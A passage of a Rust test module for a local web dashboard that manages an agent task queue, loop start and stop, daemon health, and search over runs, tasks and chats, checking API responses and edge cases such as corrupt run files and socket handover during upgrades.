13155        let f = Fixture::start().await;
13156        let queue = f.queue();
13157        let mut task = Task::new(
13158            "shipped by hand".to_owned(),
13159            "merged outside the loop".to_owned(),
13160            PathBuf::from("/repo/magi"),
13161            Source::Agent {
13162                run: "20260101-000000-b455".to_owned(),
13163                node: "implement".to_owned(),
13164            },
13165        );
13166        task.runs.push("20260101-000000-b455".to_owned());
13167        task.runs.push("20260101-000000-9af4".to_owned());
13168        queue.put(&mut task).expect("file the task");
13169        let created_at = task.created_at;
13170
13171        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13172        assert_eq!(done.status, 200, "{}", done.body);
13173        assert_eq!(done.json()["status_str"], "done");
13174
13175        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
13176        assert_eq!(
13177            reloaded.runs,
13178            ["20260101-000000-b455", "20260101-000000-9af4"]
13179        );
13180        assert_eq!(
13181            reloaded.source,
13182            Source::Agent {
13183                run: "20260101-000000-b455".to_owned(),
13184                node: "implement".to_owned(),
13185            }
13186        );
13187        assert_eq!(reloaded.created_at, created_at);
13188    }
13189
13190    #[tokio::test]
13191    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
13192        // `done` is allowed on any status, including `held`, with no release
13193        // in between - so a task held for a reason and then closed directly
13194        // must not keep reading as "waiting on" it afterwards, on its card or
13195        // in `magi task show`.
13196        let f = Fixture::start().await;
13197        let queue = f.queue();
13198        let mut task = Task::new(
13199            "landed while held".to_owned(),
13200            "x".to_owned(),
13201            PathBuf::from("/repo/magi"),
13202            Source::Human,
13203        );
13204        task.hold_manual(Some("waiting on 3ed9".to_owned()));
13205        queue.put(&mut task).expect("file the held task");
13206
13207        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13208        assert_eq!(done.status, 200, "{}", done.body);
13209        assert_eq!(done.json()["status_str"], "done");
13210        assert!(
13211            done.json()["hold_reason"].is_null(),
13212            "a done task cannot still be waiting on something: {}",
13213            done.body
13214        );
13215    }
13216
13217    #[tokio::test]
13218    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
13219        // `queue_done` is the phone's way to close a task the loop never
13220        // settled itself - after confirming a manual GitHub merge, say - and
13221        // that is just as much "this task's story is over" as the loop's own
13222        // `Merged`/`Ready` path, so it must trigger the same cleanup.
13223        let f = Fixture::start().await;
13224        let queue = f.queue();
13225        let runs = f.runs();
13226        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
13227        // The last attempt has to have actually landed for the earlier one
13228        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
13229        // for the case where it didn't.
13230        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
13231
13232        let mut task = Task::new(
13233            "landed by hand".to_owned(),
13234            "x".to_owned(),
13235            PathBuf::from("/repo/magi"),
13236            Source::Human,
13237        );
13238        task.runs.push("20260101-000000-doa1".to_owned());
13239        task.runs.push("20260101-000000-doa2".to_owned());
13240        queue.put(&mut task).expect("file the task");
13241
13242        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13243        assert_eq!(done.status, 200, "{}", done.body);
13244
13245        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
13246            .expect("run still on disk under this fixture's own home");
13247        assert_eq!(
13248            reloaded_run.status,
13249            RunStatus::Superseded,
13250            "closing the task by hand must relabel the earlier blocked attempt exactly \
13251             like the loop's own settle path does"
13252        );
13253    }
13254
13255    #[tokio::test]
13256    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
13257        // Closing a task by hand is allowed from any status, including one
13258        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
13259        // manual merge the loop never watched, say. Nothing here is provably
13260        // why the task is done, so nothing earlier gets relabelled either.
13261        let f = Fixture::start().await;
13262        let queue = f.queue();
13263        let runs = f.runs();
13264        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
13265        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
13266
13267        let mut task = Task::new(
13268            "closed with nothing actually landed".to_owned(),
13269            "x".to_owned(),
13270            PathBuf::from("/repo/magi"),
13271            Source::Human,
13272        );
13273        task.runs.push("20260101-000000-dob1".to_owned());
13274        task.runs.push("20260101-000000-dob2".to_owned());
13275        queue.put(&mut task).expect("file the task");
13276
13277        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13278        assert_eq!(done.status, 200, "{}", done.body);
13279
13280        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
13281            .expect("run still on disk under this fixture's own home");
13282        assert_eq!(
13283            reloaded_run.status,
13284            RunStatus::Blocked,
13285            "the last recorded attempt never landed, so the earlier one must not be \
13286             relabelled as superseded by it"
13287        );
13288    }
13289
13290    #[tokio::test]
13291    async fn unknown_ids_are_json_not_found_on_both_stores() {
13292        let f = Fixture::start().await;
13293
13294        let run = f.get("/api/runs/nosuchrun").await;
13295        let task = f.post("/api/queue/nosuchtask/hold", None).await;
13296
13297        assert_eq!(run.status, 404);
13298        assert_eq!(task.status, 404);
13299        assert!(
13300            run.json()["error"]
13301                .as_str()
13302                .is_some_and(|e| e.contains("run")),
13303            "the error names what was not found: {}",
13304            run.body
13305        );
13306        assert!(
13307            task.json()["error"]
13308                .as_str()
13309                .is_some_and(|e| e.contains("task")),
13310            "the error names what was not found: {}",
13311            task.body
13312        );
13313    }
13314
13315    #[tokio::test]
13316    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
13317        let f = Fixture::start().await;
13318
13319        let missing = f.get("/api/health").await.json();
13320        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
13321
13322        write_daemon(
13323            f.home.path(),
13324            Timestamp::now() - jiff::SignedDuration::from_secs(60),
13325        );
13326        let stale = f.get("/api/health").await.json();
13327        assert_eq!(
13328            stale["daemon"]["running"], false,
13329            "a minute without a heartbeat is a dead daemon, not a busy one"
13330        );
13331        assert!(
13332            stale["daemon"]["stale_for_secs"]
13333                .as_i64()
13334                .is_some_and(|s| s >= 55),
13335            "staleness is reported so the UI can say how long: {stale}"
13336        );
13337
13338        write_daemon(f.home.path(), Timestamp::now());
13339        let fresh = f.get("/api/health").await.json();
13340        assert_eq!(fresh["daemon"]["running"], true);
13341        assert_eq!(fresh["daemon"]["idle"], false);
13342        assert_eq!(fresh["daemon"]["pid"], 4242);
13343        assert_eq!(fresh["daemon"]["completed"], 7);
13344        assert_eq!(
13345            fresh["daemon"]["current"][0]["task"],
13346            "20260902-140501-aaaa"
13347        );
13348        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
13349    }
13350
13351    #[tokio::test]
13352    async fn the_loop_is_not_running_until_something_starts_it() {
13353        let f = Fixture::start().await;
13354
13355        let view = f.get("/api/loop").await.json();
13356        assert_eq!(view["running"], false);
13357        assert_eq!(
13358            view["owned"], false,
13359            "nobody owns a loop that does not exist: {view}"
13360        );
13361        assert_eq!(view["stopping"], false);
13362        assert_eq!(view["last_error"], Value::Null);
13363        assert_eq!(view["daemon"]["running"], false);
13364        assert_eq!(
13365            view["repo"], "/repo/magi",
13366            "the repository a start would use, named before it is started"
13367        );
13368    }
13369
13370    #[tokio::test]
13371    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
13372        let f = Fixture::start().await;
13373
13374        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13375        assert_eq!(res.status, 200, "{}", res.body);
13376        let view = res.json();
13377        assert_eq!(view["running"], true);
13378        assert_eq!(
13379            view["owned"], true,
13380            "the loop the UI started is the UI's own to stop: {view}"
13381        );
13382        assert_eq!(
13383            view["merge"],
13384            Value::Null,
13385            "no override was given, so each repository's own config decides"
13386        );
13387
13388        // The same object from the route a waking phone polls first. Two
13389        // surfaces disagreeing about whether anything is running is exactly
13390        // the confusion this UI exists to remove.
13391        let health = f.get("/api/health").await.json();
13392        assert_eq!(health["loop"]["running"], true, "{health}");
13393        assert_eq!(health["loop"]["owned"], true, "{health}");
13394
13395        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13396    }
13397
13398    #[tokio::test]
13399    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
13400        let f = Fixture::start().await;
13401        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13402        assert_eq!(first.status, 200, "{}", first.body);
13403
13404        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13405        assert_eq!(
13406            again.status, 409,
13407            "two loops on one queue race for the same claims: {}",
13408            again.body
13409        );
13410        assert!(
13411            again.json()["error"]
13412                .as_str()
13413                .is_some_and(|e| e.contains("already running the loop")),
13414            "the refusal has to say why: {}",
13415            again.body
13416        );
13417        assert_eq!(
13418            f.get("/api/loop").await.json()["running"],
13419            true,
13420            "and the loop that was already running is untouched by it"
13421        );
13422
13423        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13424    }
13425
13426    #[tokio::test]
13427    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
13428        let f = Fixture::start().await;
13429        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13430
13431        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13432        assert_eq!(
13433            res.status, 200,
13434            "the answer must not wait for the loop: a run in flight is tens of \
13435             minutes and the operator is holding a phone: {}",
13436            res.body
13437        );
13438
13439        let view = settled(&f, |v| v["running"] == false).await;
13440        assert_eq!(view["owned"], false);
13441        assert_eq!(
13442            view["stopping"], false,
13443            "a loop that has stopped is not still stopping: {view}"
13444        );
13445        assert_eq!(
13446            view["last_error"],
13447            Value::Null,
13448            "a loop that was asked to stop did not fail: {view}"
13449        );
13450
13451        // Idempotent, because the operator cannot tell a slow stop from a lost
13452        // one and will press it again.
13453        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13454        assert_eq!(twice.status, 200, "{}", twice.body);
13455    }
13456
13457    #[tokio::test]
13458    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
13459        let f = Fixture::start().await;
13460        // How the operator has been doing it: a `magi serve` of their own,
13461        // heartbeat fresh, in the same home this UI reads.
13462        write_daemon(f.home.path(), Timestamp::now());
13463
13464        let view = f.get("/api/loop").await.json();
13465        assert_eq!(view["running"], false, "not in this process: {view}");
13466        assert_eq!(view["owned"], false, "and not this process's to control");
13467        assert_eq!(
13468            view["daemon"]["running"], true,
13469            "but a loop is alive somewhere, which is what the UI must say"
13470        );
13471        assert_eq!(view["daemon"]["pid"], 4242);
13472
13473        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
13474            let res = f.post("/api/loop", Some(body)).await;
13475            assert_eq!(
13476                res.status, 409,
13477                "neither button may pretend to work on someone else's loop: {}",
13478                res.body
13479            );
13480            assert!(
13481                res.json()["error"]
13482                    .as_str()
13483                    .is_some_and(|e| e.contains("4242")),
13484                "the refusal has to name the process the operator must go to: {}",
13485                res.body
13486            );
13487        }
13488        assert_eq!(
13489            f.get("/api/loop").await.json()["running"],
13490            false,
13491            "and the refusal started nothing"
13492        );
13493    }
13494
13495    #[tokio::test]
13496    async fn a_stale_status_file_is_not_a_foreign_owner() {
13497        let f = Fixture::start().await;
13498        write_daemon(
13499            f.home.path(),
13500            Timestamp::now() - jiff::SignedDuration::from_secs(60),
13501        );
13502
13503        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13504        assert_eq!(
13505            res.status, 200,
13506            "a daemon killed a minute ago must not lock the loop out of its \
13507             own home for good: {}",
13508            res.body
13509        );
13510        assert_eq!(res.json()["running"], true);
13511
13512        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13513    }
13514
13515    #[tokio::test]
13516    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
13517        let f = Fixture::start().await;
13518        let before = f.get("/api/health").await.json()["loop_rev"]
13519            .as_u64()
13520            .expect("a loop revision");
13521
13522        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13523
13524        let after = f.get("/api/health").await.json()["loop_rev"]
13525            .as_u64()
13526            .expect("a loop revision");
13527        assert!(
13528            after > before,
13529            "the loop is in-process state, so this counter is the only thing \
13530             that tells a second device the first one started it: {before} -> \
13531             {after}"
13532        );
13533
13534        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13535    }
13536
13537    #[tokio::test]
13538    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
13539        let f = Fixture::with_loop(launch_broken).await;
13540
13541        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13542        assert_eq!(
13543            res.status, 200,
13544            "starting it is not the failure: {}",
13545            res.body
13546        );
13547
13548        let view = settled(&f, |v| v["last_error"].is_string()).await;
13549        assert_eq!(
13550            view["running"], false,
13551            "a loop that died must not read as running, or the operator has \
13552             nothing to press: {view}"
13553        );
13554        assert_eq!(view["owned"], false);
13555        assert!(
13556            view["last_error"]
13557                .as_str()
13558                .is_some_and(|e| e.contains("read-only file system")),
13559            "the phone is where a loop that died at 3am is visible: {view}"
13560        );
13561
13562        // And it can be started again: the corpse was reaped, not left to
13563        // occupy the slot.
13564        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13565        assert_eq!(again.status, 200, "{}", again.body);
13566        assert!(
13567            again.json()["last_error"]
13568                .as_str()
13569                .is_none_or(|e| !e.contains("read-only file system")),
13570            "a fresh start does not keep showing why the last one died: {}",
13571            again.body
13572        );
13573    }
13574
13575    /// An upgrade parks the run in flight before it restarts, and a park waits
13576    /// for the node - up to `timeout_implement`, an hour by default. The deck
13577    /// has to answer for all of it: the operator has just been told a run is
13578    /// finishing first, and this address is the only place that says how it is
13579    /// going. It did not, once - the listener went with the `select!` arm that
13580    /// began the handover, and the phone got `Cannot reach magi: Failed to
13581    /// fetch` for the rest of the wave.
13582    ///
13583    /// The other half is the older rule: the address must be free *before* the
13584    /// successor is started, or it dies on "address already in use" with its
13585    /// stdio sent to null and the deck never comes back.
13586    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
13587    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
13588        let home = TempDir::new().expect("temp home");
13589        let runs = home.path().join("runs");
13590        std::fs::create_dir_all(&runs).expect("runs dir");
13591        let ui = Ui::new(
13592            Queue::at(home.path().join("queue")),
13593            Questions::at(home.path().join("questions")),
13594            Talks::at(home.path().join("talks")),
13595            runs,
13596            home.path().to_path_buf(),
13597            PathBuf::from("/repo/magi"),
13598        )
13599        .with_worktrees_root(home.path().join("wt"))
13600        .with_launch(launch_knocking_on_the_way_out);
13601        let looping = ui.looping();
13602        let turns = ui.turns();
13603        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13604            .await
13605            .expect("bind loopback");
13606        let addr = listener.local_addr().expect("local addr");
13607        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
13608        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13609
13610        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
13611        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
13612
13613        // The successor's whole job, and the one thing it cannot do while this
13614        // process still holds the socket.
13615        //
13616        // One bind is not enough, and the reason is not this process's order of
13617        // operations: aborting the accept loop drops the listener, but axum
13618        // serves each accepted connection on a task of its own, and those are
13619        // not aborted. The requests above left sockets on this very address,
13620        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
13621        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
13622        // Production absorbs that in `bind_waiting`; so does this. Only
13623        // `AddrInUse` is retried, and the listener is released before the
13624        // closure returns - were the order wrong, the listener would outlive
13625        // the closure and every attempt would fail. Inferred from the bind
13626        // rules and the code; not reproduced on macOS.
13627        let bound = std::sync::Mutex::new(None);
13628        hand_over(
13629            home.path(),
13630            &looping,
13631            &turns,
13632            &|_: &[String]| Duration::from_secs(5),
13633            served,
13634            |_| {
13635                let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
13636                let attempt = loop {
13637                    match std::net::TcpListener::bind(addr) {
13638                        Ok(l) => {
13639                            drop(l);
13640                            break Ok(());
13641                        }
13642                        Err(e)
13643                            if e.kind() == std::io::ErrorKind::AddrInUse
13644                                && std::time::Instant::now() < deadline =>
13645                        {
13646                            std::thread::sleep(std::time::Duration::from_millis(10));
13647                        }
13648                        Err(e) => break Err(e.to_string()),
13649                    }
13650                };
13651                *bound.lock().expect("bound") = Some(attempt);
13652                Ok(1)
13653            },
13654        )
13655        .await
13656        .expect("hand over");
13657
13658        assert_eq!(
13659            *PARK_HEARD.lock().expect("park heard"),
13660            Some(200),
13661            "the deck must answer while the loop is parking"
13662        );
13663        let attempt = bound
13664            .lock()
13665            .expect("bound")
13666            .take()
13667            .expect("the successor was started");
13668        assert!(
13669            attempt.is_ok(),
13670            "and the address must be free by the time it is: {attempt:?}"
13671        );
13672    }
13673
13674    #[tokio::test]
13675    async fn a_newer_daemon_status_file_still_renders() {
13676        let f = Fixture::start().await;
13677        // A field this build has never heard of must not turn the status line
13678        // into a 500; that is the whole reason the reader is permissive.
13679        std::fs::write(
13680            f.home.path().join("daemon.json"),
13681            serde_json::json!({
13682                "schema": 2,
13683                "updated_at": Timestamp::now().to_string(),
13684                "idle": true,
13685                "surprise": { "nested": [1, 2, 3] },
13686            })
13687            .to_string(),
13688        )
13689        .expect("write daemon.json");
13690
13691        let health = f.get("/api/health").await;
13692
13693        assert_eq!(health.status, 200);
13694        assert_eq!(health.json()["daemon"]["running"], true);
13695    }
13696
13697    #[tokio::test]
13698    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
13699        let f = Fixture::start().await;
13700        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
13701        let broken = f.runs().join("20260902-140502-bad");
13702        std::fs::create_dir_all(&broken).expect("run dir");
13703        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
13704
13705        let list = f.get("/api/runs").await;
13706        let detail = f.get("/api/runs/20260902-140502-bad").await;
13707
13708        assert_eq!(list.status, 200);
13709        let listed = list.json();
13710        let ids: Vec<&str> = listed
13711            .as_array()
13712            .expect("an array")
13713            .iter()
13714            .map(|r| r["id"].as_str().expect("an id"))
13715            .collect();
13716        assert_eq!(
13717            ids,
13718            vec!["20260902-140501-good"],
13719            "one unreadable run must not cost the operator the whole history"
13720        );
13721        assert_eq!(detail.status, 500);
13722        assert!(
13723            detail.json()["error"]
13724                .as_str()
13725                .is_some_and(|e| e.contains("run.json")),
13726            "the failure names the file to look at: {}",
13727            detail.body
13728        );
13729        // A skipped run has to be countable somewhere, or the UI shows an
13730        // empty history with nothing to explain it - which is exactly what a
13731        // directory full of older-schema runs looks like.
13732        let health = f.get("/api/health").await;
13733        assert_eq!(health.json()["runs_unreadable"], 1);
13734    }
13735
13736    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
13737    #[tokio::test]
13738    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
13739        let f = Fixture::start().await;
13740        let runs = f.runs();
13741        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
13742        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
13743        // Text three levels down, in a shape no current RunState has: an older
13744        // schema must still search.
13745        let path = runs.join("20260902-140502-bbbb").join("run.json");
13746        let mut v: serde_json::Value =
13747            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
13748        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
13749        std::fs::write(&path, v.to_string()).unwrap();
13750        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
13751        std::fs::write(
13752            runs.join("20260902-140503-cccc").join("run.json"),
13753            "{ not json",
13754        )
13755        .unwrap();
13756
13757        let res = f.get("/api/search?scope=runs&q=quokka").await;
13758        assert_eq!(res.status, 200, "{}", res.body);
13759        let v = res.json();
13760        assert_eq!(v["total"], 1, "{v}");
13761        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
13762        assert_eq!(v["hits"][0]["field"], "text");
13763        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
13764        let parts = v["hits"][0]["snippet"].as_array().unwrap();
13765        assert!(
13766            parts
13767                .iter()
13768                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
13769            "{v}"
13770        );
13771        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
13772        assert_eq!(
13773            flat, "The Quokka leaks across threads",
13774            "whitespace is collapsed"
13775        );
13776
13777        // Terms are ANDed, across different fields, case-insensitively.
13778        let both = f
13779            .get("/api/search?scope=runs&q=MOBILE%20quokka")
13780            .await
13781            .json();
13782        assert_eq!(both["total"], 1, "{both}");
13783        let neither = f
13784            .get("/api/search?scope=runs&q=quokka%20zebra")
13785            .await
13786            .json();
13787        assert_eq!(neither["total"], 0, "{neither}");
13788        // Everything in the task statement is reachable, not only the row text.
13789        let stmt = f
13790            .get("/api/search?scope=runs&q=mobile%20first")
13791            .await
13792            .json();
13793        assert_eq!(stmt["total"], 2, "{stmt}");
13794        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
13795        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
13796    }
13797
13798    #[test]
13799    fn snippet_ignores_terms_longer_than_the_field() {
13800        let terms = ["ok".to_owned(), "elephant".to_owned()];
13801        let parts = snippet_of("ok", &terms);
13802        assert_eq!(
13803            parts,
13804            vec![SnippetPart {
13805                text: "ok".to_owned(),
13806                hit: true
13807            }]
13808        );
13809    }
13810
13811    #[test]
13812    fn snippet_marks_matches_longer_than_the_window() {
13813        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
13814        let hit_len = |parts: &[SnippetPart]| -> usize {
13815            parts
13816                .iter()
13817                .filter(|p| p.hit)
13818                .map(|p| p.text.chars().count())
13819                .sum()
13820        };
13821        let total =
13822            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
13823
13824        let long = "a".repeat(120);
13825        let parts = snippet_of(&long, std::slice::from_ref(&long));
13826        assert!(hit_len(&parts) > 0, "{parts:?}");
13827        assert!(total(&parts) <= cap);
13828
13829        let ja = "あ".repeat(130);
13830        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
13831        assert!(hit_len(&parts) > 0, "{parts:?}");
13832        assert!(total(&parts) <= cap);
13833
13834        // A short hit, then one straddling the window's end.
13835        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
13836        let term = format!("ab{}", "c".repeat(100));
13837        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
13838        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
13839        assert!(total(&parts) <= cap);
13840
13841        // Only the head matches: not highlighted.
13842        let text = format!("{}z", "a".repeat(119));
13843        let parts = snippet_of(&text, &["a".repeat(120)]);
13844        assert_eq!(hit_len(&parts), 0, "{parts:?}");
13845    }
13846
13847    #[tokio::test]
13848    async fn search_caps_hits_and_snippet_length() {
13849        let f = Fixture::start().await;
13850        let runs = f.runs();
13851        for n in 0..(SEARCH_MAX_HITS + 5) {
13852            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
13853        }
13854        let v = f.get("/api/search?scope=runs&q=web").await.json();
13855        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
13856        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
13857        assert_eq!(v["truncated"], true);
13858        // Every listed run hit carries its list row for the page's filters.
13859        assert!(
13860            v["hits"]
13861                .as_array()
13862                .unwrap()
13863                .iter()
13864                .all(|h| h["run"]["status"] == "merged")
13865        );
13866
13867        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
13868        let parts = snippet_of(&long, &["needle".to_owned()]);
13869        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
13870        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
13871        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
13872    }
13873
13874    #[tokio::test]
13875    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
13876        let f = Fixture::start().await;
13877        let queue = f.queue();
13878        let mut t = Task::new(
13879            "short title".to_owned(),
13880            "line one\nthe hidden Armadillo detail".to_owned(),
13881            PathBuf::from("/repo/magi"),
13882            Source::Agent {
13883                run: "r1".to_owned(),
13884                node: "chat".to_owned(),
13885            },
13886        );
13887        t.last_error = Some("disk full on /tmp".to_owned());
13888        queue.put(&mut t).expect("file the task");
13889
13890        for (q, want) in [
13891            ("armadillo", 1),
13892            ("disk%20FULL", 1),
13893            ("chat", 1),
13894            ("queued", 1),
13895            ("short%20nothing", 0),
13896        ] {
13897            let v = f
13898                .get(&format!("/api/search?scope=tasks&q={q}"))
13899                .await
13900                .json();
13901            assert_eq!(v["total"], want, "{q}: {v}");
13902        }
13903        for bad in [
13904            "/api/search?scope=tasks&q=",
13905            "/api/search?scope=tasks&q=%20",
13906            "/api/search?scope=chats&q=",
13907            "/api/search?scope=chats&q=%20",
13908            "/api/search?scope=nope&q=a",
13909            "/api/search?q=a",
13910        ] {
13911            assert_eq!(f.get(bad).await.status, 400, "{bad}");
13912        }
13913    }
13914
13915    /// Write one conversation file the way the store reads it back.
13916    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
13917        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
13918            .expect("seat value");
13919        let turns: Vec<serde_json::Value> = turns
13920            .iter()
13921            .map(|(who, body)| {
13922                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
13923            })
13924            .collect();
13925        let doc = serde_json::json!({
13926            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
13927            "status": status, "turns": turns,
13928            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
13929            "seat": seat,
13930        });
13931        let dir = f.home.path().join("talks");
13932        std::fs::create_dir_all(&dir).expect("talks dir");
13933        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
13934    }
13935
13936    #[tokio::test]
13937    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
13938        let f = Fixture::start().await;
13939        write_talk(
13940            &f,
13941            "20260901-000001-aaaa",
13942            "open",
13943            &[
13944                (
13945                    "operator",
13946                    "\n  Why does the Pangolin cache expire?\nsecond line",
13947                ),
13948                ("agent", "Because the TTL is thirty seconds."),
13949            ],
13950        );
13951        write_talk(
13952            &f,
13953            "20260901-000002-bbbb",
13954            "closed",
13955            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
13956        );
13957        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
13958
13959        let search = |q: &'static str| {
13960            let f = &f;
13961            async move {
13962                f.get(&format!("/api/search?scope=chats&q={q}"))
13963                    .await
13964                    .json()
13965            }
13966        };
13967
13968        let v = search("PANGOLIN").await;
13969        assert_eq!(v["scope"], "chats");
13970        assert_eq!(v["total"], 1, "{v}");
13971        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
13972        assert_eq!(v["hits"][0]["field"], "title");
13973        assert_eq!(v["unreadable"], 1, "{v}");
13974        let marked: Vec<&str> = v["hits"][0]["snippet"]
13975            .as_array()
13976            .unwrap()
13977            .iter()
13978            .filter(|p| p["hit"] == true)
13979            .map(|p| p["text"].as_str().unwrap())
13980            .collect();
13981        assert_eq!(marked, ["Pangolin"]);
13982
13983        // An agent turn, in a closed conversation.
13984        let v = search("zebra").await;
13985        assert_eq!(v["total"], 1, "{v}");
13986        assert_eq!(v["hits"][0]["field"], "agent");
13987        // Words may sit in different turns; all must be present.
13988        assert_eq!(search("pangolin%20thirty").await["total"], 1);
13989        assert_eq!(search("pangolin%20zebra").await["total"], 0);
13990        // Bookkeeping is not searched.
13991        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
13992            assert_eq!(search(q).await["total"], 0, "{q}");
13993        }
13994        // The first line only is the title; the second line is still a turn.
13995        assert_eq!(search("second").await["hits"][0]["field"], "operator");
13996        // Open conversations are listed before closed ones.
13997        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
13998
13999        let v = f.get("/api/search?scope=nope&q=a").await;
14000        assert_eq!(v.status, 400);
14001        assert!(
14002            v.body.contains("scope must be runs, tasks or chats"),
14003            "{}",
14004            v.body
14005        );
14006    }
14007
14008    #[test]
14009    fn a_question_card_links_a_task_id_to_the_task_page() {
14010        let start = APP_JS
14011            .find("function updateAskCard(")
14012            .expect("updateAskCard exists");
14013        let body = &APP_JS[start..];
14014        let body = &body[..body.find("\n}\n").expect("function end")];
14015        assert!(body.contains("question.run_is_task"));
14016        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
14017        assert!(body.contains("`#/runs/${question.run}`"));
14018        assert!(body.contains("\"task\" : \"run\""));
14019    }
14020
14021    #[test]
14022    fn plain_text_message_surfaces_go_through_linkify() {
14023        assert!(APP_JS.contains("function linkify("));
14024        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
14025        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
14026        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
14027        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
14028        assert!(!APP_JS.contains("innerHTML = text"));
14029    }
14030
14031    #[test]
14032    fn implementation_rate_views_keep_independent_samples() {
14033        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
14034            let a = stats::AgentStats {
14035                competitive_entered: competitive_n,
14036                competitive_wins: usize::from(competitive_n > 0),
14037                solo_entered: solo_n,
14038                solo_adopted: 2 * usize::from(solo_n > 0),
14039                ..Default::default()
14040            };
